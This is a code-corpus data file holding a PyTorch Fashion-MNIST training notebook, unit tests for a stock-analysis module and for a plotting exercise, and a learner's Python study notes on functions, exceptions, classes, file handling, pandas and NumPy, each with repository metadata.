nn.Conv2d(in_channels=6, out_channels=12, kernel_size=5)\n        \n        self.fc1 = nn.Linear(in_features=12*4*4, out_features=120)\n        self.batch_norm_2 = nn.BatchNorm1d(120)\n        self.fc2 = nn.Linear(in_features=120, out_features=60)\n        self.out= nn.Linear(in_features=60, out_features=10)\n        \n        \n        \n        \n    def forward(self,t):\n        #input layer\n        t=t\n        \n        #hidden conv layer\n        t=self.conv1(t)\n        t=F.relu(t)\n        t=F.max_pool2d(t,kernel_size=2, stride=2)\n        t=self.batch_norm_1(t)\n        \n        #hidden conv layer\n        t=self.conv2(t)\n        t=F.relu(t)\n        t=F.max_pool2d(t,kernel_size=2, stride=2)\n        \n        #hidden linear layer\n        t=t.reshape(-1,12*4*4)\n        t=self.fc1(t)\n        t=F.relu(t)\n        t=self.batch_norm_2(t)\n        \n        #hidden linear layer\n        t=self.fc2(t)\n        t=F.relu(t)\n        \n        #output layer\n        t=self.out(t)\n        #t=F.softmax(t,dim=1) \n        #no need of this line since loss function will perform the softmax operation\n        return t\n\n\n# # Import the Dataset\n\n# In[5]:\n\n\ntrain_set = torchvision.datasets.FashionMNIST(\n    root='./data/FashionMNIST'\n    ,train=True \n    ,download=True\n    ,transform=transforms.Compose([transforms.ToTensor()])\n)\n\n\n# In[6]:\n\n\ntrain_loader_normal = torch.utils.data.DataLoader(train_set,batch_size=len(train_set),\n                                               num_workers=1)\ndata = next(iter(train_loader_normal))\nmean = data[0].mean()\nstd = data[0].std()\nprint(mean.item())\nprint(std.item())\n\n\n# In[7]:\n\n\ntrain_set_normal = torchvision.datasets.FashionMNIST(\n    root='./data/FashionMNIST'\n    ,train=True \n    ,download=True\n    ,transform=transforms.Compose([\n        transforms.ToTensor()\n        ,transforms.Normalize((mean.item(),), (std.item(),))\n    ])\n)\nprint(train_set_normal)\n\n\n# In[8]:\n\n\ntrain_loader_normal_2 = torch.utils.data.DataLoader(train_set_normal,batch_size=len(train_set),\n                                               num_workers=1)\ndata = next(iter(train_loader_normal_2))\nmean = data[0].mean()\nstd = data[0].std()\nprint(\"mean\",mean.item(),\"\\t\",\"std\",std.item())\n\n\n# # Check if GPU is available\n\n# In[9]:\n\n\nprint(torch.cuda.is_available())\n\n\n# # Run Builder class Implementation\n\n# In[10]:\n\n\nfrom collections import OrderedDict\nfrom collections import namedtuple\nfrom itertools import product\nimport time\n\nclass RunBuilder():\n    @staticmethod\n    def get_runs(params):\n        Run = namedtuple('Run', params.keys())\n        \n        runs = []\n        for v in product(*params.values()):\n            runs.append(Run(*v))\n            \n        return runs\n    \ntrainsets = {'not_normal': train_set,'normal': train_set_normal}\n\nparams = OrderedDict(\n    lr = [0.01]\n    ,batch_size = [1000]\n    ,device = ['cuda']\n    ,num_workers = [16]\n    ,trainset = ['normal']\n)\n\n\n\nruns = RunBuilder.get_runs(params)\nprint(runs)\n\n\n# # Training Loop\n\n# In[11]:\n\n\nfor run in RunBuilder.get_runs(params):\n    print(f'{run}')\n    \n    device = torch.device(run.device)\n    network = Network().to(device)\n\n    train_loader = torch.utils.data.DataLoader(trainsets[run.trainset],batch_size=run.batch_size,\n                                               num_workers=run.num_workers)\n    optimizer = optim.Adam(network.parameters(), lr=run.lr)\n\n    images, labels = next(iter(train_loader))\n    grid = torchvision.utils.make_grid(images)\n\n    comment = f'-{run}'\n    tb = SummaryWriter(comment=comment)\n    tb.add_image('images', grid)\n    tb.add_graph(network, images.to(getattr(run,'device','cpu')))\n\n    for epoch in range(20):\n        \n        epoch_start = time.time()\n        total_loss = 0\n        total_correct = 0\n\n        for batch in train_loader:\n            images = batch[0].to(device)\n            labels = batch[1].to(device)\n            \n            preds = network(images)\n            loss = F.cross_entropy(preds, labels)\n\n            optimizer.zero_grad()\n            loss.backward() #calculate gradients\n            optimizer.step() #Update weights\n\n\n            total_loss+=loss.item() * run.batch_size\n            total_correct+=get_num_correct(preds, labels)\n\n        tb.add_scalar('Loss',total_loss, epoch)\n        tb.add_scalar('Number Correct', total_correct, epoch)\n        tb.add_scalar('Accuracy', total_correct/len(train_set), epoch)\n\n        for name, weight in network.named_parameters():\n            tb.add_histogram(name,weight,epoch)\n            tb.add_histogram(f'{name}.grad',weight.grad,epoch)\n        epoch_end = time.time()\n        epoch_duration = epoch_end - epoch_start\n\n        print(\"epoch\",epoch,\"\\n\",\"total_correct:\",total_correct,\"\\n\",\"loss:\",\n              total_loss,\"\\n\",\"accuracy:\",total_correct/len(train_set),\n              \"\\n\",'Duration',epoch_duration,\"\\n\",'Device =',run.device,\"\\n\")\n\n    tb.close()\n\n\n# # Building Confusion Matrix\n\n# In[12]:\n\n\ndef get_all_preds(model,loader):\n    all_preds = torch.tensor([]).to(torch.device('cuda'))\n    for batch in loader:\n        images = batch[0].to(torch.device('cuda'))\n        labels = batch[1].to(torch.device('cuda'))\n        \n        preds = model(images)\n        all_preds = torch.cat(\n            (all_preds,preds),dim=0)\n        \n    return all_preds\n\n\n# In[13]:\n\n\ntrain_loader = torch.utils.data.DataLoader(train_set_normal,batch_size=1000,\n                                               num_workers=16)\nwith torch.no_grad():\n    train_preds = get_all_preds(network, train_loader)\n\n\n# In[14]:\n\n\npreds_correct = get_num_correct(train_preds, train_set.targets.to(torch.device('cuda')))\n\nprint('Total Correct:', preds_correct)\nprint('Accuracy', preds_correct / len(train_set))\n\n\n# In[15]:\n\n\nstacked = torch.stack(\n    (\n        train_set.targets.to(torch.device('cuda')),\n        train_preds.argmax(dim=1)\n    )\n    ,dim=1\n)\n\n\n# In[16]:\n\n\ncmt = torch.zeros(10,10, dtype=torch.int32)\n\n\nfor p in stacked:\n    j, k =p.tolist()\n    cmt[j,k] = cmt[j,k] +1\n\nprint(cmt)\n\n\n# # Plotting the confusion matrix\n\n# In[17]:\n\n\n# Run this cell only when tensors are on CPU\n\n# cm = confusion_matrix(train_set.targets, train_preds.argmax(dim=1))\n# print(type(cm))\n# cm\n\n\n# In[18]:\n\n\ndef plot_confusion_matrix(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues):\n    if normalize:\n        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n        print(\"Normalized confusion matrix\")\n    else:\n        print('Confusion matrix, without normalization')\n\n    print(cm)\n    plt.imshow(cm, interpolation='nearest', cmap=cmap)\n    plt.title(title)\n    plt.colorbar()\n    tick_marks = np.arange(len(classes))\n    plt.xticks(tick_marks, classes, rotation=45)\n    plt.yticks(tick_marks, classes)\n\n    fmt = '.2f' if normalize else 'd'\n    thresh = cm.max() / 2.\n    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n        plt.text(j, i, format(cm[i, j], fmt), horizontalalignment=\"center\", color=\"white\" if cm[i, j] > thresh else \"black\")\n\n    plt.tight_layout()\n    plt.ylabel('True label')\n    plt.xlabel('Predicted label')\n\n\n# In[19]:\n\n\nnames = tuple(train_set.classes)\nplt.figure(figsize=(10,10))\nplot_confusion_matrix(cmt, names)\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "50a82abfa429db4dfca11f80ec5b8735692765b8", "size": 8526, "ext": "py", "lang": "Python", "max_stars_repo_path": "Fashion-MNIST-Pytorch.py", "max_stars_repo_name": "Abhishek-Aditya-bs/Fashion-MNIST-Pytorch", "max_stars_repo_head_hexsha": "f9eafd761323e58086e946b379f72015dea5248f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Fashion-MNIST-Pytorch.py", "max_issues_repo_name": "Abhishek-Aditya-bs/Fashion-MNIST-Pytorch", "max_issues_repo_head_hexsha": "f9eafd761323e58086e946b379f72015dea5248f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Fashion-MNIST-Pytorch.py", "max_forks_repo_name": "Abhishek-Aditya-bs/Fashion-MNIST-Pytorch", "max_forks_repo_head_hexsha": "f9eafd761323e58086e946b379f72015dea5248f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.0880829016, "max_line_length": 124, "alphanum_fraction": 0.617053718, "include": true, "reason": "import numpy", "num_tokens": 2087, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10521053319605046, "lm_q1q2_score": 0.05219429631390597}}
{"text": "import sys\r\nimport io\r\nimport unittest\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom datetime import datetime\r\nfrom pandas.util.testing import assert_frame_equal, assert_series_equal\r\n\r\nfrom MarketAnalysis import analyser\r\n\r\nclass TestAnalyser(unittest.TestCase):\r\n  def setUp(self):\r\n    \"\"\"\r\n    Setup testing environment, we will load the data from input/bili.csv.\r\n    empty_analyse will be used for empty sets;\r\n    bili will load data from input/bili.csv\r\n    \"\"\"\r\n    self.empty = analyser.StockAnalyser('empty')\r\n    self.bili = analyser.StockAnalyser('BILI')\r\n    self.bili.load_csv('input/bili.csv')\r\n    self.bili_df = self.bili.full_df()\r\n\r\n  def test_load_csv(self):\r\n    \"\"\"\r\n    Tests the load_csv method. If this fails, the entire test\r\n    should fail.\r\n    \"\"\"\r\n    self.empty.load_csv('input/bili.csv')\r\n    res = pd.read_csv('input/bili.csv')\r\n    res['Date'] = np.vectorize(pd.to_datetime)(res['Date'])\r\n    # assert true if frame equal\r\n    assert_frame_equal(res, self.empty.full_df(),)\r\n  \r\n  # @unittest.skip('skip this when debugging test unit')\r\n  def test_load_data_from_yahoo(self):\r\n    \"\"\"\r\n    Tests the load_data_from_yahoo method. This will compare the\r\n    test with the prepared bili.csv, i.e. stock of BILI, with\r\n    starting date 2018-07-20 and ending date 2019-07-19.\r\n\r\n    Since DataReader also reads data 1 day before start date,\r\n    we should set our start date as 2018-07-21. \r\n    \"\"\"\r\n    data = analyser.StockAnalyser('BILI')\r\n    start = datetime(2018,7,21)\r\n    end = datetime(2019,7,19)\r\n    # Setup a text trap to surpress stdout for test\r\n    # Ref: https://codingdose.info/2018/03/22/supress-print-output-in-python/\r\n    text_trap = io.StringIO()\r\n    sys.stdout = text_trap\r\n\r\n    data.load_data_from_yahoo(start_date=start, end_date=end)\r\n\r\n    # Assert true if dataframe equals.Needs to use check_less_precise\r\n    # as loading float from saved csv could be dodgy.\r\n    assert_frame_equal(self.bili_df, data.full_df(), check_less_precise=3)\r\n\r\n  def test_get_daily_return(self):\r\n    \"\"\"\r\n    Tests get_daily_return method. We can use pandas.Series.pct_change to\r\n    the test the method.\r\n    \"\"\"\r\n    res = self.bili_df['Close'].pct_change()\r\n    # Obtain df from bili using the method\r\n    test = self.bili.get_daily_return()\r\n    # we will be only testing on 'Daily Return' series against res\r\n    assert_series_equal(res, test['Daily Return'], check_names=False)\r\n  \r\n  def test_rolling_mean(self):\r\n    \"\"\"\r\n    Tests get_rolling_mean method. We can use pandas.DataFrame.rolling to\r\n    the roll, then mean() to get the rolling mean.\r\n    In this test, we will use 'Close' as base.\r\n    \"\"\"\r\n    # setup list of days for MA\r\n    day_list = [10, 20, 50, 100]\r\n    # copy bili_df for local result test use\r\n    res = self.bili_df.copy()\r\n    # setup columns required\r\n    cols = []\r\n    cols.append('Date')\r\n    cols.append('Close')\r\n    for day in day_list:\r\n      col_name = 'Moving Average for ' + repr(day) + 'days'\r\n      cols.append(col_name)\r\n      # Using library\r\n      res[col_name] = res['Close'].rolling(day).mean()\r\n    # only taking columns required\r\n    res = res[cols]\r\n\r\n    test = self.bili.get_rolling_mean(day_list=day_list, base='Close')\r\n\r\n    assert_frame_equal(res,test)\r\n  \r\n\r\nif __name__ == '__main__':\r\n  unittest.main()", "meta": {"hexsha": "3ef20f93bb01037655f63418baa51a367e64fe04", "size": 3312, "ext": "py", "lang": "Python", "max_stars_repo_path": "test.py", "max_stars_repo_name": "tzhongyan/SAnalysis_test", "max_stars_repo_head_hexsha": "021462b254bccc330e20da2f11f6adcf79318a3f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test.py", "max_issues_repo_name": "tzhongyan/SAnalysis_test", "max_issues_repo_head_hexsha": "021462b254bccc330e20da2f11f6adcf79318a3f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test.py", "max_forks_repo_name": "tzhongyan/SAnalysis_test", "max_forks_repo_head_hexsha": "021462b254bccc330e20da2f11f6adcf79318a3f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7959183673, "max_line_length": 78, "alphanum_fraction": 0.6714975845, "include": true, "reason": "import numpy", "num_tokens": 841, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10521052828620035, "lm_q1q2_score": 0.052194293878159624}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nfrom tmc import points\n\nfrom tmc.utils import load, get_stdout, patch_helper\n\nmodule_name=\"src.multiple_graphs\"\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p03-09.1')\nclass MultipleGraphs(unittest.TestCase):\n\n    \n    def test_first(self):\n        with patch(ph(\"plt.show\")) as pshow,\\\n             patch(ph(\"plt.plot\")) as pplot,\\\n             patch(ph(\"plt.xlabel\")) as pxlabel,\\\n             patch(ph(\"plt.ylabel\")) as pylabel:\n            main()\n            pshow.assert_called_once()\n            pxlabel.assert_called_once()\n            pylabel.assert_called_once()\n            self.assertGreater(pplot.call_count, 0, msg=\"You should have called plt.plot!\")\n            self.assertLess(pplot.call_count, 3, msg=\"You should have called plt.plot at most two times!\")\n            if pplot.call_count == 2:\n                np.testing.assert_array_equal(pplot.call_args_list[0][0][0], [2,4,6,7], err_msg=\"Wrong parameters to plot!\")\n                np.testing.assert_array_equal(pplot.call_args_list[0][0][1], [4,3,5,1], err_msg=\"Wrong parameters to plot!\")\n                np.testing.assert_array_equal(pplot.call_args_list[1][0][0], [1,2,3,4], err_msg=\"Wrong parameters to plot!\")\n                np.testing.assert_array_equal(pplot.call_args_list[1][0][1], [4,2,3,1], err_msg=\"Wrong parameters to plot!\")\n            else:\n                np.testing.assert_array_equal(pplot.call_args_list[0][0], ([2,4,6,7], [4,3,5,1], [1,2,3,4], [4,2,3,1]),\n                                              err_msg=\"Parameters to the plt.plot command were wrong\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "342c31388a055e8253dfa62ecf3301e2915ed927", "size": 1724, "ext": "py", "lang": "Python", "max_stars_repo_path": "part03-e09_multiple_graphs/test/test_multiple_graphs.py", "max_stars_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_stars_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part03-e09_multiple_graphs/test/test_multiple_graphs.py", "max_issues_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_issues_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part03-e09_multiple_graphs/test/test_multiple_graphs.py", "max_forks_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_forks_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-14T20:07:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T07:30:23.000Z", "avg_line_length": 41.0476190476, "max_line_length": 124, "alphanum_fraction": 0.6200696056, "include": true, "reason": "import numpy", "num_tokens": 435, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.11920292984474948, "lm_q1q2_score": 0.05218984384929294}}
{"text": "#Content\n##Functions\n\n##Exception handling\n###Try...Except statement\n###Try...Except...Else statement\n###Try...Except...Else...Finally statement\n\n#Types and classes in Python\n##Creating your own class\n##Data attributes\n##Methods\n\n#Downloading, Reading and opening data in Python\n##Download\n##Reading\n###Read method\n###Readline method\n###Readlines method\n##Writing\n##Appending\n\n#Pandas\n##Importing Pandas\n##Reading excels with pandas\n##Working with excels in pandas\n\n#NumPy\n##NumPy array or ND in one dimension\n###Assigning values\n###Slicing ND arrays\n###Other ND attributes\n##Useful NumPy tools for Data science\n###Vector addition\n###Vector broadcasting\n###Mean of the elements\n##Math functions\n##Linspace\n\n##2 Dimension NumPy array or ND\n\n#APIs\n##Definition and types\n##Examples of APIs\n###PyCoinGecko\n\n#Requests Module\n\n#Web Scraping\n##Beautiful Soup objects and how to browse through them\n###Tags\n###Children, Parents and siblings\n###Navigable String\n##Filters\n###find all filter\n###find filter\n###HTML Attributes\n###Navigable strings\n##Downloading and Scraping the contents of a Web Page\n\n#How to work with tidfferent file formats\n##csv, xml, json, xlsx\n\n\n\n\n\n######If you're using PyCharm, you can select the chunk of code and run it by pressing alt+shift+e.\n######Remember to import the libraries when necessary. At least in PyCharm, you will\n\n\n                                        #####Functions#####\n#Building your own function\ndef plusone(a):\n    \"\"\"add 1 to a\"\"\"\n    b=a+1\n    return b\n#Using your function\nprint(plusone(6))\n\nhelp(plusone)\n#build functions with multiple parameters\ndef Mult(a,b):\n    c=a*b\n    return c\n#Using your function\n\nprint(Mult(30,10))\n\n#You can also multiply strings, but this is not recommended.\nprint(Mult(3,\" Hello world Hello\"))\n\n#Print strings in your functions\ndef CS():\n    print('Computer Science')\n\nCS()\n\n#Create empty functions. Only allowed with the pass keyword, else it fails to run given the empty body.\n##This will print a \"None\" object.\n\ndef Empt():\n    pass\n\nprint(Empt())\n\n#You can clearly see what the return function does in this example.\ndef Ftest(a):\n    b=a+1\n    print(a,\"plus one equals\", b)\n    return b\nFtest(3)\n\n#You can use loops in functions\n##First we define our loop function\ndef looptions(som):\n    for i,s in enumerate(som):\n        print(\"Game\", i, \"is ranked:\", s)\n\ngame_ratings=[8,5,10]\n\nlooptions(game_ratings)\n\n#The following function contains a Variadic parameter, that allows us\n##to input multiple elements\n\ndef GameName(*names):\n    for name in names:\n        print(name)\n\nGameName('Dark Souls','Mario 64', 'Zelda: Ocarina of Time')\n\n#You can set the scope of a function to global. Then, the element after the keyword global will be stored\n## in the global enviroment\n\n\ndef Mario():\n    global Date\n    Date=1990\n    return Date\n\nMario()\n\nprint(Date)\n\n                        #######Exception Handling.#######\n#I.E: entering numbers in a only letter input field and an error code and/or message\n\n# The Try...Except statement will \"Try\" to execute its code block, but when an error occurs,\n## the \"except\" code will run and do the exception handling once the program reaches the exception that matches\n### and run the code. It should print an error message related to the specific error. You may add multiple\n#### exceptions with different error codes and messages. Exceptions can be seen while you use Python I.E.\n####dividing by 0 (try running: 1/0)\n\nt=1\ntry:\n    b=int(input(\"Please enter a number to divide t\"))\n    t=t/b\n    print(\"Accepted. t=\", t)\nexcept ZeroDivisionError:\n    print(\"You can't divide by 0\")\nexcept ValueError:\n    print(\"You should only provide numbers\")\nexcept:\n    print(\"Not a valid input\")\n# Try...except...else will give you the opportunity to execute another block of code if there was no exception\n##or error on your code\nF=2\ntry:\n    d=int(input(\"Please enter a number\"))\n    F=F/d\n    print(\"The new value for F is\", F)\n\nexcept ZeroDivisionError:\n    print(\"You cant divide by 0\")\n\nexcept ValueError:\n    print(\"Please enter a number\")\n\nelse:\n    if(F<1): #For more info on this one, check the else if and else elif statements.\n        print(\"F is smaller than one: F=\", F)\n    elif(F>1):\n        print(\"F is larger than 1: F=\", F)\n    elif(F==1):\n        print(\"F is equal to 1: F=\", F)\n\n\n\n# If you want something to happen after the code has been executed, you can use the \"Try...Except...\n## Else...Finally\" Statement. I.E: closing the file after it has been edited.\nG=5\ntry:\n    H=int(input(\"Please enter a number\"))\n    G=G/H\nexcept ZeroDivisionError:\n    print(\"You can't divide by 0\")\n\nexcept ValueError:\n    print(\"Please enter a number.\")\nelse:\n    if(G<1):\n        print(\"G is smaller than one. G is equal to:\", G)\n    elif(G>1):\n        print(\"G is bigger than one. G is equal to:\", G)\n    elif(G==1):\n        print(\"G is equal to 1. G=\", G)\nfinally:\n    print(\"Thank you for joining me in my exception handling coding.\")\n\n#Types in Python: There are many. I.E: integer, float, String, List, Dictionary, Boolean. Every time we create any of these\n##you create a instance or Object of that type. You can use the type() command to find the type of your object.\ntype(3)\n\n#For every type, theres a Method you can use with that class of object. Methods are functions that a class or type\n##provide. It is the way you can interact with the data. One example of this, is the sort method.\n\nratings=[3,2.0,3.2,5.7,8.2,3,10]\nprint(ratings)\nratings.sort()\nprint(ratings)\n\n#There's another common method: the reverse method.\nprint(ratings)\n\nratings.reverse()\n\nprint(ratings)\n\n                                            #####Classes#####\n\n# You can create your own types or classes\n## You first create a class, then assign attributes and methods to it.\n### For example, a Circle has a radius attribute.\n#### To create a new class: First, you declare you want to create a new class, then the name of the class\n##### and finally the class/type parent. Then, you have to define attributes, in this case radius and we'll add color too.\n###### The init function tells Python you are creating a new class. The self parameter indicates the new\n####### instance/object created with its class. Self will contain all the data attributes of the object.\n\nclass Circle(object ):\n    def __init__(self, radius, color):\n        self.radius=radius;\n        self.color=color;\n\n#We will now create a new class called rectangle, contained in its parent class, object\n\nclass Rectangle(object ):\n    def __init__(self, color ,height, width):\n        self.color=color;\n        self.height=height;\n        self.width=width;\n\n#Now we create objects with the new classes created. We call the code by using the class name and then we have to\n##input its attributes between parenthesis.\n\nBlueCircle= Circle(10,\"red\" )\nGreenRectangle= Rectangle(\"green\", 5, 7 )\n\n#You can also check the value of the attribute of each object/instance.\n\nBlueCircle.radius\n\nGreenRectangle.width\n\n#You can also change their attributes\n\nBlueCircle.radius=4\n\n#Methods are the functions that interact and change attributes of the data.\n## We can create a method to add radius to a circle:\nclass Ctest(object ):\n    #Constructor\n    def __init__(self, radius, color):\n        self.radius=radius;\n        self.color= color;\n    #Method\n    def add_radius(self, r):\n        self.radius=self.radius+r\n        return(self.radius)\n\nCtestred=Ctest(2,\"red\")\n#To call the method, you have to input the name of the object, followed to the radius you'd like to add.\nCtestred.radius\n\nCtestred.add_radius(3)\n\nCtestred.radius\n\n#You can get the attributes and methods of a class with the dir() function\ndir(Ctest)\n\n\n                                    ####Files in Python#####\n\n#Downloading files:\nimport urllib.request\n    url= 'https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0101EN-SkillsNetwork/labs/Module%204/data/example1.txt'\n    filename='Example1.txt'\n    urllib.request.urlretrieve(url, filename)\n\n\n#There are two different ways to open a file. The second one is better practice, because it runs the code\n##and then it closes the file again.\n\n#First, we'll use the open command by itself to create the file object. Then we will check the name of the file\n##with the data name attribute as well as the mode the file is open in with the mode data attribute. Remember\n###To always close the file after opening it to avoid further problems and free resources.\nexample1= 'Example1.txt'\n\nFile1 =open('Example1.txt', \"r\")\n\n#Data attribute name\nFile1.name\n\n#Data atribute mode\nFile1.mode\n\n#Reading the object content.\nobjectcontent = File1.readlines()\nprint (objectcontent)\nobjectcontent\n#Object method close\nFile1.close()\n\n#Now we will use the with statement. This code will run everything within the indent. In this case, we will print\n##the file content, after using the read method.\nwith open('Example1.txt') as File1:\n    file_stuff=File1.read()\n    print(file_stuff)\n    File1.mode\n    File1.name\n\nprint(file_stuff)\n\n#If you input a number in the read method, you will get the first X characters of the file. As input more read methods,\n##the script will read the next characters in the next line.\nwith open('Example1.txt') as File1:\n    print(File1.read(4))\n    print(File1.read(10))\n    print(\"'Custom message.'\", File1.read(20))\n\n\n#You can create loops to iterate the code in every line.\n\nwith open('Example1.txt', 'r') as File1:\n    i=0\n    for line in File1:\n        print('iteration number ', (i+1), line)\n        i=i+1\n\n#And we can save the values of the file as a list:\nwith open('Example1.txt') as File1:\n    MyList= File1.readlines()\n\nMyList[0]\n\n#Writing files with the open function and the write method:\n\nwith open('C:/Users/CrsTn/PycharmProjects/Repo_CTeufel/Example2.txt', \"w\") as File1:\n    File1.write(\"This is the first new line \\n\")\n    File1.write(\"This will be the second new line \\n\")\n\n#You can also use the for loop to write lines:\n\nLines=['Line number one \\n', 'Line number two\\n', 'Line number three \\n']\n\nwith open('C:/Users/CrsTn/PycharmProjects/Repo_CTeufel/Example2.txt', \"w\") as File1:\n    for line in Lines:\n        File1.write(line)\n\n#Appending: uses an existing file to write in it. This will add the new line.\n\nwith open('C:/Users/CrsTn/PycharmProjects/Repo_CTeufel/Example2.txt', \"a\") as File1:\n    File1.write(\"Line number four \\n\")\n\n#You can copy one file into another one by using 'read' mode for the original file, then\n##for the copied file, you use the 'write' mode\n\nwith open(\"Example1.txt\", \"r\") as readfile:\n    with open(\"Example3.txt\", \"w\") as writefile:\n        for line in readfile:\n            writefile.write(line)\n\n#To test if the files have been written correctly, use the print function\n##within the with indent.\nwith open(\"Example3.txt\", \"r\") as writefile:\n    print(writefile.readlines())\n\nwith open (\"example1.txt\", \"r\") as readfile\n    with open(\"Example3.txt\", \"w\") as writefile:\n    for line in readlines:\n        writefile.write(line)\n\n\n#We can also write in files without deleting older content with the append\n##mode and the write method.\n\nlines2=['This is line four \\n', 'This is line five\\n']\nwith open(\"Example3.txt\", \"a\") as writefile:\n    for line in lines2:\n        writefile.write(line)\n\nwith open('Example3.txt', 'r') as writefile:\n    print(writefile.read())\n\n                                                #####Libraries######\n                                                ######PANDAS#######\n\n#Pandas is a library, popular for its pre-built classes and functions for data analysis. Libraries or dependencies\n##contain codes to solve problems. We will ned the xlrd dependency to install pandas\n!pip install xlrd\n\n#Importing Pandas with the import command. We will use the as statement to shorten to make the library less tedious\n##to call with. The new and common abreviation will be \"pd\". You can also leave the library without\n\nimport pandas as pd\n\n#Panda allows you to work with data frames and its data. To load a csv file with Pandas as a data frame, we will use\n##the read_csv method. The file used as an example is one provided to us for an R 'Business Intelligence' elective\n###course during my last semesters in university. I've seen it over the internet, but I'm not sure who was the first\n####to publish it. Credits to that person for it.\n\nNoShows='No shows.csv'\ndf=pd.read_csv(NoShows)\n\ntype(df)\n\n#Read the headers of the data frame with the columns function\nprint(df.columns)\n\n#We can make different Data frames with the values of a specific column like this:\n\ndfgender=df[['Gender']]\n##Note: when using double brackets, one will get the data in a dataframe. With one bracket, you will get a series.\n\n#To check unique values, we can apply the method unique()\nprint(df['Gender'].unique())\n\n#We could also get information out of this data frame. For example, we can count people per gender.\ndfgender.value_counts(['Gender'])\ndf.value_counts(['Gender'])\n\n\n#If we want to get all the rows with people of gender F in a new data frame, we can use the following code\n\ndf_f=df[df['Gender']=='F']\n\n#This is a new data frame\ndf_f['Gender'].unique()\n\n#To save this new data frame as a .CSV, we use the to_csv file like this\ndf_f.to_csv('df_females.csv')\n\n#You can access the first, second or any specific row and column one would want to retrieve with the iloc method.\n##If you ask yourself where the name of the method comes from, I'm also not sure, but I believe and have read\n###it comes from integer location, therefore it only works with integers that represent the coordinates you want to call.\n####There is also the 'loc' function, that works with strings, like the column name.\ndf.iloc[0, ] ##First row\n\ndf.iloc[0,0] ##First row, first column\n\ndf.iloc[1,5] ##second row, fifth column\n\n#The loc method also supports names>\ndf.loc[20, 'PatientId']\n\n#You can also take slices of the sample with both methods. Remember, when slicing with the \"\"\"iloc\"\"\" method,\n##one will get the index upper limit minus 1. Unlike iloc, the \"\"\"loc\"\"\" method will count the upper limit if numbers\n###used, ie, iloc[2:5, 1:3] will retrieve from row 2 to 4 and from column 1 down to 2. (Remember 0 is the first row/col)\n\ndf.loc[20:23, 'Age'] #from 20 to 23\n\ndf.iloc[0:2, 0:1 ] #from 20 to 21,\n\n\n\n                                        ######NumPy#######\n#Numpy is a library used for scientific computing and has advantages like its speed and memory. It is also the basis\n## for panda.\n\n#How to create a NumPy array\n## A NumPy array or ND is similar to a list. It is normally fixed in size and every element is of the same type.\n\nimport numpy as np\n\na=np.array([0,1,2,3,4,])\n\n#Let's check the type of this element\ntype(a)\n\n#As you can see, it is a numpy.ndarray. One could also check the size and the number of dimension the array has with the\n##.size and .ndim attribute. The shape attribute will indicate the size of the array in each direction in a tuple.\na.size\na.ndim\na.shape\n#Just like lists, we can check the values in the array, starting by 0.\n\na[0]\na[1]\n\n#ND arrays can also contain floats. One could see what kind of numbers the array contains with the 'dtype'. 'a' list\n##contains 'int32' data or integers, while b list contains 'float64', as it contains float numbers.\nb=np.array([10, 20.1, 3.5, 6.9, 5.6])\n\nb.dtype\na.dtype\n\n#Elements can be modified as follows. In this case, the first and the third element\n\nb[0]=100.2\nb[2]=3.6\n\n#One can also slize ND arrays, just like lists. We will assign the new array to the letter c and we will retrieve\n##the second to the third row.\n\nc=b[1:4]\nc\n\n#And one can modify more than one value this way:\nc[0:2]=23, 50\nc\n\n#Vector addition: NumPy arrays can be added as vectors in a very simple way. Just add them as you would do in simple math\n\nd=a+b\nd\n\n#One is allowed to do a multiplication with a scalar as well:\ne=d*2\ne\n\n#Hadamard product is the product between two vectors. This process is simplified by NumPy, as you'd need a function\n##to do it manually, just like the scalar multiplication and 